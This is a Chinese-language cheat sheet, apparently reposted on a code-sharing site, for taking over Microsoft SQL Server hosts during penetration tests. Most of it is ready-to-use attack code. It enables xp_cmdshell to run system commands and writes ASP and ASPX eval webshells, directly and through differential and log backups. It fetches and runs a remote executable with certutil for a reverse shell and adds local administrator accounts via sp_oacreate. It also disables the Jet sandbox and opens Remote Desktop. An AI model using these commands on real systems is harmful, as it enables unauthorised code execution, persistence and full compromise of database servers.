MSSQL滲透測試


mssql-getshell

來源:獨自等待知乎github

xp_cmdshell

第一種:在SQL Server 2005之前版本中,xp_cmdshell是默認開啟的,因此可以直接利用,執行系統命令

exec master..xp_cmdshell 'whoami';

第二種:先判斷是否存在xp_cmdshell存儲過程,返回1表示存在,否則表示不存在

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

xp_cmdshell是有可能被管理員手動刪除的(尤其是SQL Server2005之前默認開啟的版本),以下是刪除xp_cmdshell的命令:

exec master..sp_dropextendedproc xp_cmdshell;

當然,即使xp_cmdshell被刪除,也是有辦法恢復xp_cmdshell的:

exec master..xp_dropextendedproc xp_cmdshell,@dllname='xplog70.dll' declare @o int;

注意:再喪心病狂的管理員,可能連xplog70.dll文件都刪除,因此需要手動刪除該文件,然后使用絕對路徑引用即可:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll的文件絕對路徑' declare @o int;

在SQL Server 2005之后的版本中,xp_cmdshell是默認關閉的,因此需要手動開啟,但是開啟xp_cmdshell需要sa權限,所以還是比較苛刻的

# 允許修改高級參數
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 開啟xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
# 配置生效
RECONFIGURE;

檢查xp_cmdshell是否開啟

exec sp_configure;

執行系統命令

exec master..xp_cmdshell 'whoami';

獲取webshell,此處注意><符號的轉義,網頁編碼和數據庫編碼一般是相同的,中文一般都要URL編碼

exec master..xp_cmdshell 'echo  ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx'

獲取webshell,通過windows的多種cmd下載文件的方式,下載遠程的可執行文件,通過該方式可用於反彈shell

# 下載惡意程序
exec master.dbo.xp_cmdshell 'cd c:\\www & certutil -urlcache -split -f http://ip/file.exe';
執行程序
exec master.dbo.xp_cmdshell 'cd c:\\www & file.exe';

使用結束后,可自行關閉xp_cmdshell

# 開啟高級選項
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 關閉xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
# 配置生效
RECONFIGURE;

數據庫差異備份getshell

備份拿shell算是常見,但往往備份后包含木馬的文件很大。

注意:目標路徑必須有寫權限

# 查看要創建的臨時表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 將數據庫備份至文件中
backup database db_name to disk = "目標文件路徑.bak";
# 創建臨時表
create table test (a image);
# 寫入木馬
insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);
# 重新備份,木馬寫入文件
backup database db_name to disk = '目標文件路徑.asp' with differential,format;

日志差異備份getshell

可不需要sa權限,如果不能備份,可能是訪問權限問題,可切換目錄嘗試;如果臨時表存在也可能導致失敗,可先判斷臨時表是否存在,再嘗試。

條件:

  1. 數據庫之前備份過
  2. 恢復模式是完整模式
  3. 目標路徑有寫權限
# 查看要創建的臨時表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 將數據庫的恢復模式設置為完整模式
alter database db_name set RECOVERY FULL;
# 創建臨時表
create table temp (a image);
# 備份數據庫日志,並寫入文件中
backup log db_name to disk = '任意絕對路徑.bak' with init;
# 在臨時表中插入木馬字符串
insert into temp (a) values (0x3C25657865637574652872657175657374282261222929253E);
# 將含有木馬字符串的日志備份寫入文件中
backup log db_name to disk = '木馬的絕對路徑.aspx';

sp_oacreate

當xp_cmdshell被刪除時,可以嘗試使用這個來提權

原理

利用OLE對象接口,SQL Server提供了一些函數訪問OLE對象,分別是sp_oacreate和sp_oamethod,可利用它們調用OLE控件,間接獲取一個shell

預准備工作

檢查OLE Automation Procedures狀態

exec sp_configure 'Ole Automation Procedures';

如果config_value和run_value都為0,表示禁用

啟用OLE Automation Procedures

# 允許修改高級參數
exec sp_configure 'show advanced options',1;
# 配置生效
reconfigure;
# 開啟Ole Automation Procedures
exec sp_configure 'Ole Automation Procedures',1;
# 配置生效
reconfigure;
# 關閉高級參數
exec sp_configure 'show advanced options',0;

wscript.shell

在SQL Server 2008和SQL Server 2000上都適用

# 聲明一個變量
declare @shell int;
# 使用sp_oacreate調用wscript對象
exec sp_oacreate 'wscript.shell',@shell output;
# 使用sp_oamethod調用變量的屬性run執行系統命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';

整合一下:添加用戶 test/test

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add'

整合一下:添加用戶到管理員組

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'

Shell.Application

SQL Server 2008不可用,SQL Server 2000可用

整合一下:添加用戶 test/test

declare @o int;
exec sp_oacreate 'Shell.Application', @o out;
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test test /add','c:\windows\system32','','1';

sp_makewebtask

SQL Server2008不可用,SQL Server2000可用(未驗證)

恢復xp_makewebtask存儲過程

exec sp_configure 'Web Assistant Procedures', 1;
RECONFIGURE;

getshell

exec sp_makewebtask 'C:\test1.php','select''<%execute(request("SB"))%>''';

沙盒模式

只有windows xp和windows 2003可用

啟用Ad Hoc Distributed Queries

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure

關閉沙盒模式

0:在任何使用者中禁用啟用安全模式

1:僅在允許范圍內

2:必須在access模式下

3:完全開啟

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

讀取SandBoxMode[可選]

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';

執行系統命令:添加用戶 test/test

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")');
select * from 
openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select
 shell("cmd.exe /c whoami")')

mssql-遠程桌面

  1. 是否開啟遠程桌面,1表示關閉,0表示開啟

    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
    
  2. 讀取遠程桌面端口

    EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
    Server\WinStations\RDP-Tcp','PortNumber'
    
  3. 開啟遠程桌面

    EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
    
  4. reg文件開啟遠程桌面

    Windows Registry Editor Version 5.00HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server]"fDenyTSConnections"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server\WinStations\RDP-Tcp]"PortNumber"=dword:00000d3d
    

    保存至1.reg,執行regedit /s 1.reg,即可開啟遠程桌面

    注意:如果是第一次開啟遠程桌面,部分需要配置防火牆規則允許遠程端口

    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    
  5. 關閉遠程桌面

    EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
    


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM